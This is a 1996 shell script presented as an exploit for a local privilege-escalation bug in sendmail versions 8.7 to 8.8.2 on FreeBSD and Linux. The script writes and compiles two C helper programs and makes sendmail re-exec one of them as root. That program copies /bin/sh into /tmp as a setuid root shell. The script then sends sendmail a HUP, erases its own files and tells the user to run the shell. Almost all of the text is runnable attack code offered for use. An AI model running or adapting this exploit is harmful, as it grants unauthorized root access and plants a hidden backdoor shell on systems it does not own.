#/bin/sh
#
# http://www.anticode.com  for the latest exploits, tools and documents!
#
# This is exploit for sendmail smtpd bug
# (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
# This shell script does a root shell in /tmp directory.
#
# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#

echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type:   /tmp/sh"